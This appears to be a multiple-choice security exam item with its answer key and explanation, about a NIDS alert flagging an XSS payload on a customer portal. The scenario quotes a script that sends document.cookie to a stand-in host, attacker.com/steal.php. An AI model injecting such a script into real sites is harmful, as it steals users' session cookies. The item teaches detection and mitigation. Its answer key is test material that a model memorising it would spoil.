During a routine security monitoring shift, a Security Operations Center (SOC) analyst reviews an event logged by an out-of-band Network Intrusion Detection System (NIDS). The NIDS alert triggers on inbound HTTP GET traffic directed at a customer portal web server containing the payload string `?user=<script>window.location='http://attacker.com/steal.php?c='+document.cookie</script>`. A junior team member claims the log depicts database manipulation and recommends modifying SQL database queries. Which of the following best evaluates the NIDS alert and identifies the most appropriate remediation strategy?
- The alert indicates a Cross-Site Scripting (XSS) attack attempting to harvest session credentials; developers should implement input validation and context-aware output encoding on the application.Answer
- BThe alert indicates a SQL Injection (SQLi) attack attempting to extract database tables; developers should implement parameterized statements on backend SQL queries.
- CThe alert demonstrates that the out-of-band NIDS inline sensor actively blocked the malicious payload; no application-level investigation is required.
- DThe alert indicates a command injection attack; administrators should modify layer 3 firewall rules to block inbound web traffic.
Answer
The alert indicates a Cross-Site Scripting (XSS) attack attempting to harvest session credentials; developers should implement input validation and context-aware output encoding on the application.
The captured payload features client-side JavaScript (`<script>` tags attempting to transmit `document.cookie` data), which is characteristic of a Cross-Site Scripting (XSS) attack. The effective countermeasure for XSS vulnerabilities involves enforcing strict input validation and context-aware output encoding at the web application layer.
Step-by-Step Solution
Key Concept
Identifying Cross-Site Scripting (XSS) payloads in network security monitoring alerts and selecting appropriate application-layer mitigations.